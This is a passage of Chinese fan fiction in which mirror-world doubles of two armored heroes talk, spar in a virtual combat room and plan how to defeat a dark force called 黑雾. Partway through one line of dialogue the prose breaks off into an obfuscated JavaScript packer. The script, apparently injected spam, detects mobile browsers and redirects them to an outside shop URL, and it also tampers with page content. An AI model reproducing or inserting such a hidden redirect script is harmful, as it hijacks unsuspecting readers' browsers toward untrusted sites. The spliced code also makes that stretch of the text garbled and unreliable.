由于都曾在影界生活,他们拥有的共同话题比预料中多得多。从界王的失败,到平日里的训练;从埋怨北淼,到吐槽正义,他们可以无话不谈。仿佛那十年、那三千六百五十天的苦难在今天、在这个下午、在此时此刻,浓缩成了一杯甜甜的热橙汁,每一件难以启齿的心酸往事都变为一粒粒饱满的果肉,在他们一次次举杯中吞咽下肚。 太久了,“北淼”想,他已经太久没有将这份苦闷宣泄出来了。“西钊”会听,可他不会懂。只有、也只能是这个世界的小雪,才能真正理解他的不甘、他的执念、他的一切。他忽然很嫉妒北淼,嫉妒他还有机会弥补错误、嫉妒他可以拥有小雪的未来。他多希望面前的人就是他的妹妹,这样他就可以拉着她的手,骑上偷来的摩托车,毫不犹豫地开往世界的尽头。 但他不能、也不会。因为换一种角度,他不希望他的小雪和他一样在影界承受十年的苦痛。如果一定要作出选择,那他宁可待在黑暗中的人是他自己。 这是一个承诺的重量、也是他食言的报应。 餐盘和杯子见底,玻璃的反光映出冰儿胸前的海螺吊坠。“北淼”的一声长叹消散在海风中,没有被整理散发的冰儿听见。 他从口袋里摸出那张连时空夹缝都没能抹去的老旧照片。照片上是两个依靠在一起的孩童,一男一女,笑得很甜。照片有许多折痕,甚至还有些发黄开裂,像是被狠狠地蹂躏过,又小心地被打开、压实、珍藏。 那是他十年间无数伤痛中唯一的慰藉、无尽黑暗里唯一的曙光。 当他再次看见小雪肉眼可见变得更为自然的笑容、看到她不知多少次抬手捏住胸前的海螺,一种微妙的、犹如涨潮漫过胸口一般沉闷的情绪在他心头升起。随之而来的,是一个他之前绝对不会也没有过的念头: 该放手了。 这个想法出现的瞬间,方才那种沉闷感迅速消失,仿佛脚上捆着巨石、带着他一同沉没海底时,有人割断了绳索。石头沉底、他无比轻松快活地浮出水面。 “北淼”意识到,这种感觉的名字叫“释怀”。 他问冰儿:“假如,你是我的那个小雪,当你知道我死了,你会觉得难过吗?” 冰儿对这个问题思考得很认真,不久后,她移开目光,转而仰头看向苍蓝的天空和厚重的积云,说道:“如果是我,也许不会。” “北淼”的神色有一瞬失落,冰儿却将视线挪回他身上,一本正经道:“但我不会忘记你曾出现在我的生命里,小北哥。我会为你哀悼。那段短暂的时光、无论如何都无可替代。我愿意相信,她也是……也会是这么想的。” “北淼”笑了、发自内心地笑了。 冰儿见他对这个答案很满意,似乎有些难为情。海风又吹乱了她垂落过肩的直发,她只好低下头稍作整理;“北淼”趁这个空档下意识伸手,想要拿起杯子喝光最后一口橙汁。 然而就在此时,一件匪夷所思、却似乎在情理之中的事发生了:“北淼”的手仿佛幽灵般径直穿过了杯子。当他再次尝试时,却又一如往常地将杯子拿了起来,就好像刚刚的那一刹那只是他可笑的幻觉。 但“北淼”比任何人都要清楚,这不是他的幻觉。他放下杯子,反复端详自己的手,哼出一声几不可闻的苦笑。他刚刚不应该用“落石”比喻“释怀”的,他错了,错得是在离谱。 被割断的不是拉他下海的巨石,而是保他安稳的“船锚”。 他终于、连自己也救不了了。 “小雪。”他说,语气里满是不加掩饰的苦涩与自嘲,“告诉他们,利用你拉我入伙这个计划,他们成功了。” TBC 86. 互相不理解 ———————— “你会给他想要的、还是他需要的?” ———————— 破晓,ERP实验室内 “哇,‘西钊’,你的操作好厉害啊,这个神庙解密我打了好久都没过去呢,这是怎么做到的?”圆桌旁,坤中探头盯着“西钊”手中红蓝色的游戏机,画面上金发角色的胜利结算画面令他又惊又喜。 这个游戏机是西钊在一次异世界旅行时从另一个世界的未来带回的伴手礼。虽然坤中听不太懂西钊关于“那个世界里我们的人生只是剧本里的故事”*这类的解释,但西钊并不介意,他更倾向于将游戏机分享给最好的朋友。 (*前情提要:见文章《梅塔特隆之书》,讲述了北西穿越到现实世界,遇到西钊的扮演者张超之后一起寻找回归方法的故事) ———————— 自从北淼送去接机,西钊就被“勒令”在ERP实验室里待命,哪儿都不许去,还让美真和东杉帮忙看着他点儿。两人嘴上答应,却也在北淼离开之后和西钊相视而笑,无言又无奈地摇了摇头。 由于这两天的外勤没有注意到影界太明显的动向,因此,根据“西钊”的情报,趁今天“北淼”和小雪的谈话还有些时间,炘南打算前往“西钊”口中的市旧图书馆,找到那本古书进行更深的调查和解读;坤中则打算留下来陪西钊一会儿,一来是他觉得在外面毫无头绪地摸索效率太低,二来考虑到美真姐和东杉哥有正事要做,他不希望西钊一个人感到太尴尬或者寂寞。 于是,美真和东杉都在控制台默契地继续操作卫星数据、检索可疑的异能量反应;坤中和西钊围坐在圆桌前,各自摆弄魔方和游戏机消磨时间。 晚上七八点左右,实验室的门突兀打开,令大家惊讶的是,来者不是炘南,而是一对互相看不顺眼、仿佛随时都要打起来的“双胞胎”:北淼——或许还要加个“们”。 见此情景,每个人都停下手中的正在做的事,将目光聚焦到他们身上。北淼与西钊坤中几乎是在第一个瞬间对视,他写在脸上的紧张情绪肉眼可见地松懈下来。但“北淼”只是简单扫视一圈,用短促的气声哼笑、显然不屑于和其他人说话。他往控制台墙面上的监控屏幕看了一眼,视线似乎在某处聚焦。当北淼的双眼追着他看过去时,“北淼”早已在眨眼时转过脑袋、背对控制台、手插裤袋大摇大摆地径直往实验室侧门方向走去。 他的态度几乎可以用目中无人来形容,却在半途中侧过半边脸,对斜后方的北淼挑了挑眉,说道:“来啊,不是要打一架吗?我记得、你刚刚说过、我们可以在这儿解决。还是说……在你的小男朋友面前,你怕了?” 提起西钊,北淼的火气一下子窜上心头。他眉头紧蹙地瞪着镜像中的自己,垂下的手握紧拳头,极力压抑抬手就给对面一拳的冲动令他的手骨节泛白、微微颤抖。他们刚刚才在高速路上来了一场摩托车与跑车的竞速,现在这个混蛋还不满足,对西钊做过“那种事”之后竟然还敢在他面前用西钊挑衅他。是啊,“那件事”,他还没和这家伙算账呢。北淼越想越气得牙痒痒,但他已经不是——至少他自认为不是——以前那个只会一意孤行的激进派了。如今,顾虑到西钊、顾虑到现在的形势,他认为比起私斗,还有更重要的事等着他去做。 东杉和坤中从椅子上站起身,做出警备和防御姿态,准备一人拉一个制止这场不大不小的冲突;但作为涉事方的西钊却一反常态地若无其事安稳坐着,似乎对这两个人之间即将爆发的纷争置若罔闻。 西钊在“北淼”进来时就发现,他和“西钊”一样,在某个瞬间,身体变得如魂魄般透明,仅仅持续了几秒便恢复如初。那时,或许大家的重点都在“与冰儿的沟通让‘北淼’成功加入”上,因此没有发现什么。但西钊知道,“北淼”之所以同意帮助他们,也许不是因为冰儿,而是当“北淼”意识到天命难改、命数已定时,他决定让所有对付过他和“西钊”的人都别好过,因此才勉为其难和他们联手剿灭影界最后的势力。在西钊眼中,“北淼”就是这样的人:有着和北淼相似的固执与果敢,但更为偏执、也少了底线。 或许只有西钊们明白,“北淼”此举比起挑衅,更像是他表达自我的一种形式。西钊的思维不如北淼和炘南那般机敏缜密,但他有不输给逻辑推理的直觉。而直觉告诉西钊,“北淼”在这个时间点选择这么做并不是毫无意义的。那么,为什么呢?为什么要刻意创造一个只有北淼们能够交流的环境?西钊不懂。他虽偶尔会对他人产生好奇,却不会在没有契机的情况下主动过问。 于是,西钊决定静观其变。反正,两只攻击性最强的藏獒都在里头打过一架,应该不会有比这更糟的事发生了,不是吗? 想到这里,他放弃已经走进死胡同的魔方,抬头望向北淼。北淼依然紧盯着另一个自己不放,原本紧攥的双拳却已放松,眉头也舒展开来,虽不减敌意,但状态相较方才看上去冷静不少。 只听北淼深吸一口气、缓慢地叹息着移开视线,西钊敢保证他在这个过程中翻了个白眼:“我没时间和你在这里拼个你死我活。既然你要来帮忙,我们就好好合作。早点结束这一切,你和他、也能早点滚回你们该在的地方。” 最边上的美真“嗯”了一声,声音不大,语气却和北淼一样坚定,透露出独属于指挥官的刚强,面上有事相求,却毫不退让自己的立场:“我知道,‘北淼’,与我们合作对你来说是一个艰难的决定,但现在我们需要你的帮助。因为黑雾是全新的黑暗势力,所以我们目前还在研究如何彻底消灭它。如果真如‘西钊’所说,它能够从感染者身上汲取能量、构建‘菌丝网络’,那么在它变得更加强大之前,我们必须尽快找出对策。所以,‘北淼’……” “你们想消灭黑雾?行啊,我知道怎么做。”没等美真的最后一句话说完,“北淼”抢答道。 他的回答令众人、包括西钊都感到意外,连监控画面上的“西钊”也有了些许动静,美真正打算进一步询问,“北淼”却一转语调,瞥了眼时刻警惕的北淼,仿佛事不关己般调侃道:“看来,那家伙还真是谨慎,没有和你们全盘托出。真不愧是我看上的人。” “别废话。”北淼这次真的抬起手,将拳头举在半空。他实在不允许自己的耐心被反复碾压踩踏。 “北淼”自讨无趣地耸耸肩膀,鞋跟压地、擦着地面转过身面向众人,和刚才一样,他的目光所及之处只有北淼:“计划不是我提出来的,是‘西钊’。哦,就是关里面的那个,你懂的。”他身子一斜、同时抽出双手环抱着靠上旁边的白色墙壁,继续说道,“你被混有异能量的血感染过,对吧?这种带着杂质的异能量,用你们的光影石、很快就能解决掉。他计划通过这种方式,间接对影界造成伤害。不过,这个过程中你也一定不好受。所以,我说难听一点,如果不出岔子,你们和影界,将会是两败俱伤。” “而你们就可以坐享渔翁之利。”东杉补充了一句,听上去并没有那么友善。 “等等,我没搞懂。”坤中困惑地抚摸后颈,歪歪脑袋,绕过西钊的椅子往前走了一步,“为什么清除北淼身上的异能量、会打击到影界?‘隔山打牛’吗?” 北淼全然不理会“北淼”语气中的嘲讽,低头摩挲下巴,小声喃喃:“因为‘菌落’。” “聪明。”“北淼”高傲地对这个世界的自己扬了扬下巴,以表他鲜少示人的赞赏。 “把黑雾的本体比作大海,每个感染者都是它分流出的江河。假设在江河里倒入‘污染’,作为终点的海洋也将会受到影响。”北淼脑中快速回忆这几天发生的事,西钊过去有些矛盾的言行举止忽然之间变得合乎常理,然而,北淼感到释然的同时,疑问紧随而来,“但……为什么是我?为什么利用西钊,把我作为‘污染’?” “北淼”勾起嘴角发出嗤笑,一副“看在你能想到这份上”的表情,歪斜的身子从墙面利落挪移,双手摊开,说道:“你可别给自己脸上贴金了,我们的目标可不止你一个。普通光影村后人只能算微不足道的溪流,而你们五个人,才最有可能作为‘江河’打击到它的核心。至于你、你只是那家伙用来测试这个方法可不可行的实验品罢了。” 北淼不悦地翻着白眼移开视线,站在身侧的东杉紧接着问:“那这个方法成功了吗?” “有想要的东西,就得懂得自己争取。”“北淼”的回答意味深长,背过身朝北淼微微晃晃脑袋,“赢了,我自然知无不言。” 北淼之前举起的拳已然放下,他转头望向西钊,试图观察西钊的反应,或者打算征询他的意见。但出人意料的是,西钊没有阻拦,只是缓慢地点头,嘴角还是有意无意地勾起自然的微笑弧度。那双北淼再熟悉不过的深色眸子里尽是温和,犹如初冬照映在身上的暖阳令人由内而外地发热。 “去吧。”他说,“没事的。既然他已经决定站在我们这边,‘西钊’肯定会给我们更多情报。现在大家也都没什么进展,如果能有新的情报,总归是好的。” 北淼轻声笑了,也不知是给气的还是被逗的:“你觉得、我应该把时间浪费在那个家伙身上?” “我当然不是这个意思。”西钊低下头,不再与北淼对视,他随意地拧动魔方,笑容狡黠、语调轻松,“对付他,大概也用不了多少时间,是吧,『北淼』?” 有趣的是,没有第二人称作为辅助,西钊的这句“北淼”并没有带着很强的指代性,在这一基础上,他的话顿时变得更加耐人寻味。而这不经意间的“激将法”也成功刺激到了北淼。他解开白色夹克,直接往西钊怀里扔,看都不看“北淼”一眼,迈步就朝二号传送仓的侧门走去。“北淼”浅浅哼笑、拉开皮衣的拉链,立起衣领紧随其后。 白色的舱门在指挥室众人面前关闭时,其余三人都松了口气。坤中满脸担忧地坐下来,把椅子慢慢挪到西钊旁边:“西钊兄,他们俩……刚刚那么剑拔弩张的,会不会出事啊?” “放心,不会的。”东杉走到坤中身边,一手叉腰,一手按着他的肩膀轻拍两下,又指了指上面的监控画面,“瞧,两个西钊都在这儿,任何轻举妄动的出格行为,对他们来说都不划算。” 美真的食指无声地敲击控制台,微微皱眉似是沉思:“既然这样,那我们就没有必要把‘西钊’继续封锁在传送仓了。对了,东杉,传输给他的光影能量还稳定吗?” 东杉回望美真,点点头:“嗯,目前来看非常稳定。但就像坤中和他自己说的那样,他的生命体征还是有衰竭的趋势。美真,把传送仓打开吧,现在他已经是我们的一员了。” “这样……好吗?”像是想起了些什么,沉默许久的西钊忽然不确定地问,他手中的魔方在复原和打乱的循环里游走,“你们不怕、他会背叛我们吗?” 美真和东杉闻言,相视一笑,美真将椅子滑到西钊身边,抽走了他的魔方:“我怎么听着这话,这么耳熟呢?好像我们欢迎某个人加入的时候,也是这么说的吧?” 西钊伸出去够魔方的手悬在半空,似乎有些无措,却也无言以对。他当然记得,曾经他们三人计划围剿界王那天,他也问过同样的问题:你们就不怕,我背叛你们吗?西钊印象很深刻,对于这个疑问,他们都笑了。那时,西钊还不懂,这并不是幽默的问题,为什么会露出笑容。但现在,一起经历过无数战斗之后,他总算对这笑容背后的意味有所领悟。 因此,听到美真这么问时,他哑然片刻,也笑了。 ———————— “这个神庙关卡确实有一点难度。”拿着红蓝色游戏机的人将上身往坤中的方向倾斜,食指悬在屏幕上方,左右小幅晃动的同时给坤中讲解过程,“看,这里是难点,要用弓箭占据高地,可以的话把这个火焰果实也用上。从高处可以解决另外两个柱子上的敌人,但小心角落里有暗箭,这里很容易受伤被侦察兵发现。最后制作一下高级的武器,就可以打难的那个敌人了。” 坤中看得非常认真,一边惊叹一边小鸡啄米式点头:“好强的战术,影界也教这些的吗?” 西钊在一旁托着腮帮子无声浅笑,对这个问题不置可否。“西钊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334714|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”淡淡地笑出了声,摇摇头,将游戏机还给坤中:“不。只是没有训练和任务的时候,我无事可做,会偷偷跑去图书馆,看些这方面的书。但很可惜,我不擅长把它们用在实战上。” “那也已经很厉害了!” 坤中朝“西钊”投去崇拜的目光,但“西钊”却伸手指了指控制台上方、监控屏幕里正激斗着的两个身影,说道:“经验告诉我,还是用这个方法解决问题更高效。” 坤中和西钊不约而同地看向监控屏幕,显然,那里的两人——或者说两副黑犀铠甲的虚影——几近忘我地缠斗在一起。虽然没有武器碰撞的铿锵声,它们幻化出的影子碰撞在一起时的沉重打击感却丝毫不减。 “得亏美真姐不在。”坤中困扰地搔搔后脑勺,“这程度,可比你们两个那时候激烈多了。也不知道咱们能不能顶得住,要知道,北淼可是‘犀牛’啊。” 西钊们对视一眼,发现坤中似乎没意识到他用形象的比喻说了个很冷的笑话。 ERP控制室里目前只有两个西钊和坤中三个人。在放出“西钊”之后,由于进展缓慢,又或者是订婚带来的某种安全感,东杉鼓足勇气向美真提出一同外出的邀约。坤中作为西钊们的定心丸继续留在ERP,而他这一坐,就是一整夜。 西钊本想说些什么缓解坤中的担忧,但他的话还没出口,就被一阵滴滴滴的手机铃声打破。坤中手忙脚乱地接起电话,片刻之后,他神色骤变、如临大敌,几乎是从椅子上蹦了起来:“啊惨了惨了!我忘了我妈今天叫我办事了!” “那你快去吧,这里有我和北淼。有什么急事,我会再联系炘南或者美真他们,不用担心我。”西钊赶忙站起身安抚道。 “我会很快回来,真的!帮我和美真姐说声抱歉——!”坤中的人消失得比他的声音都快,其行动之迅速,仿佛猛虎出山,令两个西钊不禁无奈摇头,同步率堪称完美。 而这番喧闹过后,便是属于镜里镜外的沉默。 直到西钊再次坐下时,他的另一个自己才打开话匣。“西钊”拿过放在桌子中心的魔方,随手摆弄几下、眨眼间便把坤中随即弄乱的魔方复原,轻而礼貌地放回原处:“虽然……是我向你们提出让‘北淼’见见冰儿,但我还是想知道,他为什么同意加入你们。” 西钊对他的复原速度感到惊讶,一边重新拿起魔方仔细端详,一边回答:“其实,我也不确定。我甚至不知道应不应该把这件事告诉你,因为你并没有把同样的事告诉他。” “我不明白你的意思。”望着西钊困惑的模样,“西钊”笑了笑,打岔道,“没什么好在意的,我偷的第一个东西就是界王放在仓库角落里的魔方。被逮到之后,可没少挨一顿罚。不过界王没有拿走它,所以它算是我小时候唯一的玩具吧。丑将常常把其中一个角扭到另一侧,这样无论如何都无法复原,以此来捉弄我。” 西钊伸手把“西钊”刚拧过去的魔方一角又扭了回来,调侃道:“这就是你领悟‘用武力解决问题更有效’的原因之一吗?” “或许吧。”“西钊”将那可怜的魔方放在桌上推到一侧,抬眼与西钊对视时,神情严肃了些许,“所以,你刚刚的话、是什么意思?” 西钊并未回避那带着些许质问的视线,几次欲言又止,最后只留一声轻叹:“他和你一样,生命已经进入倒计时了。刚才他进来,我看到他的身体有一瞬间变得半透明。上次结束打斗的时候,你的手指也变成了那个样子。我以为,你同步了我的记忆之后能发现这一点。” “西钊”的表情由困惑变为惊讶、最终变为不可思议的了然,他将椅子推离圆桌,似乎想拍案而起,但在恍惚间又失去了这么做的力气,最终只是瘫坐在椅子上。他的双唇带动着声音一起微微颤抖:“我……这、这不可能。‘北淼’他有小雪做他的‘锚’,他不应该虚弱到那个程度。难道是光影石出了问题吗?” “我不清楚‘北淼’和冰儿之间发生了什么,我只是告诉你我看到的。如果一切还有挽回的余地,我……并不希望一切往最坏的方向——” “是我的错。” “什么?”思绪忽然被“西钊”打断,西钊还没反应过来,本能地应道。 “西钊”苦笑着,抬手看向自己布满老茧和细小伤疤的掌心:“是‘锚’。和小雪的那场谈话让‘北淼’释怀了对小雪的执念,他的‘锚’被剪断之后,就和现在的我没有分别了。我本来以为、让他和小雪见一面能让他对你们有恻隐之心,结果、是我害了他。他本来可以一直留在这里、他明明可以……” “西钊”沉默了,没有把话说完。他轻咬下唇,望向监控画面中的两副铠甲,视线精准地盯着其中一个,眼里满是愧疚。西钊一言不发地追随他的目光,看向另一副铠甲,心中百感交集。他想起自己对“北淼”说过“爱胜不过天道”,又想起这两个镜像中的人在阴差阳错之间选择了自认为对对方最好、却截然相反的那个。如果不能解除其中的误会,或许之后的路会更加艰难。他和北淼吃过的苦,不希望另一个自己再走一遍同样的路。 西钊望向镜面,镜中的自己也看向他。他斟酌片刻,最终还是开口道:“他曾说过,‘一边是活得好好的人,一边是要死不活的魂,你会怎么选’,你觉得、这个问题的答案是什么?” “西钊”被这个似曾相识又莫名其妙的问题逗笑了。他毫不犹豫地准备回答,但西钊却轻轻摇头,将他的话堵在心口。 “这个问题,你可以直接问他。相信我,你会有答案的。” “……好,我知道了。” TBC 一些OOC剧外: 西钊:说起来,当时是“北淼”说服你让我误以为自己杀了人吗? “西钊”:啊。理论上说,我其实没说谎。 西钊:什么意思? “西钊”:因为我当时说的是“我希望你没有”。某种意义上,这也算是实话。至于其他的,也许是你的……“心理作用”吧。 西钊:………… “西钊”:(无辜托腮笑) 87. 阴霾终将散尽 ———————— 不能改变规则,那就创造规则。 ———————— ERP实验室,二号虚拟战斗室内 北淼刚睁开眼睛,一股熟悉的水之力就如破竹之势朝他面门袭来。他慌忙侧身闪避,定睛看去,袭击他的竟是附着狂瀑之力的流星枪。原来到达战场之前,“北淼”就已经做好了战斗准备。思绪完成闭环,北淼在流星枪擦过他胸前的瞬间无声召唤铠甲,侧步朝镜像中的铠甲起跳、水甲盾赫然现形于左臂,北淼丝毫不留情面、不留余力地挥拳,作为方才的回礼。他向来是个礼尚往来的人。 他们的战斗相比两只雪獒更为激烈,不会给对方任何喘息的机会。从“北淼”每一次汹涌如潮的进攻中,北淼都能察觉到,这家伙打起架来防守和自己有得一比,攻击却不会控制力道——意思是他可以,但他不想这么做。 这很奇怪,就铠甲的特性来说,黑犀铠甲属于防御型,进攻型铠甲是雪獒铠甲才对。北淼以前做过实验,对异能兽展开速战速决的猛攻策略,结果就是把自己累得够呛。然而,这种情况似乎完全没有在“北淼”身上显露出来,那头犀牛就好像杀红了眼、越战越勇。北淼甚至破不了他的防,光是坚守住自己的防线就已经耗费了他大部分的精力。也许是因为旧伤未愈,北淼自我安慰道,他高傲的自尊心并不想承认某些方面他确实比不过“北淼”。 当北淼忙于防守的焦躁、对其进攻方式的困惑和局势僵持无法扭转的不甘达到顶峰时,他终于还是忍不住问出口。只是,“你为什么执着于进攻”这个再普通不过的问题从心里到嘴边,竟完全变了个样。 “你只会这样没头没脑地攻击吗?我还以为你有多大能耐呢,看来只不过是一个莽夫而已。” “北淼”并未被他的说辞激怒,反而带着一点讥讽的语气调笑道:“进攻就是最好的防守。我是莽夫又如何?几个回合下来,我的破绽、你可是一点也没找到。还是说,之前那点小伤折断了犀牛的角?别嫌我说话难听,那你未免也有点……太脆弱了。” 被戳到痛处,北淼暗骂一声,长枪上挑甩开“北淼”刺向他胸甲的武器,挥拳时两个水甲盾相互撞击,冲击波震得云层飞散。两副黑犀铠甲头顶的尖角顶在一起,蹭出星点般的火花,即使隔着面甲也能透过亮黄色的三角感受到他们此刻的神情:一人咬牙切齿、一人游刃有余。 由于ERP对虚拟战斗室系统的更新迭代,优化了潜意识战斗的模式,因此在系统中战斗并不会消耗与现实等同的体力。这对光影战士来说本该是延长训练时间、提高训练质量的优势,但放在两头犀牛身上,却变成无尽轮回的战场。 北淼自认为情绪还没有被“北淼”完全煽动,他必须冷静下来,这场战斗他必须赢。不仅仅是为了情报、也是为了某种自我证明,更是因为那个人对西钊做了绝对不可原谅的事情。想到这里,他即刻在流星枪尖积蓄水之力,躲避进攻的同时接连刺向对方要害。“北淼”意料之中地以几个偏头灵巧躲过、并以水甲盾抵挡最后一击,扭腕挑开北淼的长枪,末了还嘲讽地将自己的那把流星枪收在身后,歪头单手耸了耸肩,仿佛在说:“这就是你的能做到的全部吗?” 不过,“北淼”真正要说的话和北淼想的略有不同。他单手百无聊赖地转着枪花,迈步缓慢地在北淼不近不远的地方绕着圈:“怎么,就开始急了?是觉得破不了局气上心头,还是……想起你的小男朋友了?” 北淼在他提到“小男朋友”的时候,表面毫无反应,握着流星枪的手却攥得更紧。“北淼”敏锐地捕捉到了这点,哼声轻笑、在北淼身后停下脚步,抬头隔着面甲与侧头的北淼对上视线。 他说:“我没碰他。” 北淼的声音冰冷、掩藏着锐利,仿佛下一秒就会化成冰锥以狂瀑的力量刺穿身后镜中的魔鬼:“你觉得、我信么?” 然而“北淼”只是又一次单手耸耸肩,似乎对北淼的话不以为意,听上去甚至有些自豪与骄傲:“瞧,我在‘让人们相信发生了什么’这件事上,非常有天赋。不管是他杀了人、我上了他,还是让你相信……我上了他。” 北淼沉默着,面甲之下的目光愈发阴沉。他在等、等一个解释,等一个答案。 “记忆不是什么值钱的东西。”“北淼”又开始继续绕着北淼转圈,踏出的每一步都因身着重甲而发出沉闷声响,“它可以被改变、也可以被扭曲。重要的不是让一个人去做什么,而是让他相信、他做了什么——当然,在我们的话题里,他是被‘做’的那个。” “闭嘴!” 话音未落,北淼的枪头已逼到眼前,“北淼”迅速横枪格挡。两支枪柄以十字交叉状僵持,都因二人巨大的力道而剧烈颤抖。他们再次开启无言的激斗。北淼选择放弃防守,打算施以更猛烈的攻势。这并非一种策略,而是怒火最直接、最原始的表达方式。 虚拟战斗室系统只是削弱战士的体能消耗,并非完全抵消,加上北淼有伤在身,他身体状况无法长期支撑他暴怒的情绪。“北淼”也意识到了这点,便不动声色地放慢攻防的节奏,微妙地让战斗继续维持在各自不相上下的局面。由于对方最开始的进攻过于激烈,北淼很快看出其中的端倪。他想起当初和炘南私斗时炘南对他手下留情,他的自尊和脸面不允许这种事发生第二次。 “你给我——” “今天和小雪分别之后,我听到了黑雾的声音。” “北淼”急转直下的严肃语气让北淼把后半句咽了回去,手中的流星枪仅有一瞬松懈,就被对方甩枪击飞,斜立于地面。当北淼的视线从流星枪回到“北淼”身上时,枪尖已然对准他的咽喉、铠甲的脆弱之处,仅差分毫。不过,没有人宣布战局的胜负,也没有谁分出输赢;“北淼”只是接着刚刚的话,继续讲述他的故事。 他说:那个声音告诉他,要救“西钊”,并非已经穷途末路。只要利用两个西钊身上的影界印记,以及他们之间的同源契印就能做到。由于同源契印是异世界西钊对原世界西钊单向的灵魂烙印,因此,只要杀死原世界的西钊,异世界西钊就能以灵魂的形式继承这个世界西钊的□□,以普通人类的身份生存在这个世界。 他说:他确实考虑过这个方法,也确实计划过如何在会面之后找机会对北淼的西钊下手。那是他最后的希望、最后的底牌。他已经无牵无挂,但“西钊”告诉过他,自己爱着这个不曾爱过他的世界。因此,他只希望到最后,至少“西钊”能活下来。 听到这里,北淼微微颔首,看向几乎要抵住他喉咙的尖枪。方才情况紧急,他并没有特意观察,现在仔细看看,发现那股附着在流星枪上的水之力温软平静,深绿的光辉环绕枪身,却感觉不到一丝杀气和敌意,与最初的攻势大相径庭。北淼抬头重新与镜面对视,那人像是读懂了北淼的眼神,收枪转柄,将其竖直背在身后。 他笑了:“把这些告诉你,说明我改变了主意。你一定在想、是什么让我做了这样的决定。” “哼。”北淼不屑地予以回击,“谁知道你们影界在耍什么把戏。” “把戏?我又不是‘西钊’,没那功夫跟你玩儿‘孙子兵法’。”北淼伸手取回地面斜插的流星枪时,“北淼”仍阴魂不散般走到他身边,抬起装备水甲盾的左手,握拳往北淼肩甲上米白色的犀牛角上不轻不重地撞了一下,“让我改变主意的家伙,是你。” 北淼几乎是在他触碰到自己的瞬间甩枪将其击退,他们又回到最初那不远不近的安全社交距离。北淼将流星枪往身侧狠狠一划,周身的金色层云顷刻间被斩出一条开天的裂缝。 他嗤笑着,说道:“是吗?你还算有点自知之明,知道什么东西不该碰。至于之前那件事……我会向他亲自确认。” “北淼”似乎发出了同样的笑声,但由于面甲遮蔽,北淼听的不是特别清晰。当然,更重要的是,对方正踏步起跃,提枪向他冲来。比起北淼略带疲惫的防御,那人似乎很享受战斗本身,以至于他甚至有余力挤出时间继续刚刚的话题。 “很遗憾,我的字典里没有‘自知之明’这个词。”双枪铿锵之时,他的声音里带着笑意,问道,“我说,你对他是什么感觉?” “什么意思?” “字面意思。实话告诉你,你和他发展成那种关系、实在是有点不可思议。因为你有愧于他?还是、单纯的占有欲、控制欲作祟?别急着否认,在这方面,我比你更了解你自己。” “……” 枪与盾的对峙让北淼聒噪的心难以沉静。这算什么问题?和打败黑雾有什么关系吗?他对西钊是什么感觉? 他试图思考这个问题的答案,却没有得到一个准确的形容词。“北淼”是对的,自己和西钊在一起的确非常不可思议,或许是愧疚、或许是占有,但他总觉得这些都只是催化剂,并非他对西钊感情的核心。北淼回忆着与西钊过去的点滴、梦中的共感与现实的遭遇。渐渐的,一种模糊的、令人安心的温度由内而外传递到他的掌心,仿佛此刻他握着的不是流星枪,而是某个人的手:皮肤白皙、骨骼分明、纤细得好似稍微用力就能折断,但它的主人却能以它击打出力量最强的拳。 北淼明白,这就是问题的答案。 “我想抓住他。”他说,“我听过一个说法:‘坠落是从宇宙上升,而上升是向宇宙坠落’。断线的风筝也好、坠落的困兽也罢,我想接住他。用我的双手、我的身体、我的全部。他可以不是我的所有物,但我会让他知道,这里永远都有他的归处。他绝对、绝对不会再次孤独一人。” 北淼刚说完,就听见对面传来爽朗的笑声,与黑色暗沉的铠甲很是违和。“北淼”忽然发动猛攻,怼着北淼就是快准狠的突刺与重拳,身形好似快活。 “真不愧是我!这也是我的答案。”“北淼”不再放水退让,似乎开始拼尽全力将北淼逼入劣势,“当我看到你和你的小男朋友、看到你看他的眼神,我就改变了主意。不过和你不同,北淼,他是我的人、我的东西。他已经孤独了一辈子,现在还要让他继续在这个世界独活、让他在没有我的世界孤身一人?哼,笑话。如果只有他一个人活下来的路可选,那还不如、我们一起去死。” “北淼”的语气听起来并不像是开玩笑。比起解决问题,这个家伙的行事风格更像是直接掀了所有人的桌子:反正我都要死了,大家都别想好过。这也是他同意帮忙的原因之一吗?与正邪无关,只是单纯看谁不顺眼、单纯地想要结束这一切,与重要的人共同赴死。这么一看,北淼想,这个人要比他认为的纯粹得多。 不过相对的,头脑也简单得多。北淼不动声色地在心里补充了一句。 “这就是你们的计划?”北淼似乎没有了继续战斗的心情,不再执着于进攻,甚至不怎么防守,一边做着必要的格挡,一边说,“感染铠甲召唤人、释放光影石能量,鹬蚌相争、渔人得利?但既然你打算加入我们,就说明这个方法并不管用。至少、没有达到你的预期。” 似乎是注意到北淼丧失战意,“北淼”也知趣地收敛几分,不再猛攻,陪着北淼有一搭没一搭地对练:“有那么一点用。黑雾这段时间的行动意外地谨慎,上一次我看见它时,它的力量似乎……有所减弱。它能从感染者上获取情报和力量,所以要消灭它,最简单的方式就是‘污染’感染者。” “怎么,难道你真打算让我们五个注射异能量、再经历一次光影石的共鸣?” “喂,在同一个坎儿上绊倒两次、这也太没品了吧。” 他的话让北淼想起自己三番五次被假的冰儿欺骗导致队伍分崩离析,于是移开视线等着对方后话。 “所以我在想,既然由内而外释放光影能量可行,那就直接在黑域里主动让黑雾渗透铠甲、再引爆光影能量,或许就能一次性解决了。” 北淼一声冷笑,嘲讽道:“你怕不是、想连我们五个人也一起解决了。上一次我们引爆铠甲能量,足足在医院躺了两个月。” 对面人耸了耸肩、摊开手,一副“谁知道呢”的模样:“就没有比你们几个更强的家伙吗?你知道我在说什么。” “你是说……”北淼瞬间理解了其中的寓意,思绪如同电脑飞速运转,他试图拟定几个方案,又立即摇头,坚定而无奈,“不。向阳的身体状况不稳定,我们不会拿一个孩子的生命来冒险。这说不定是你的陷阱,一定还有其他办法。” “生性多疑是好事,但偏执到这个地步、多少有些不领情了,北淼 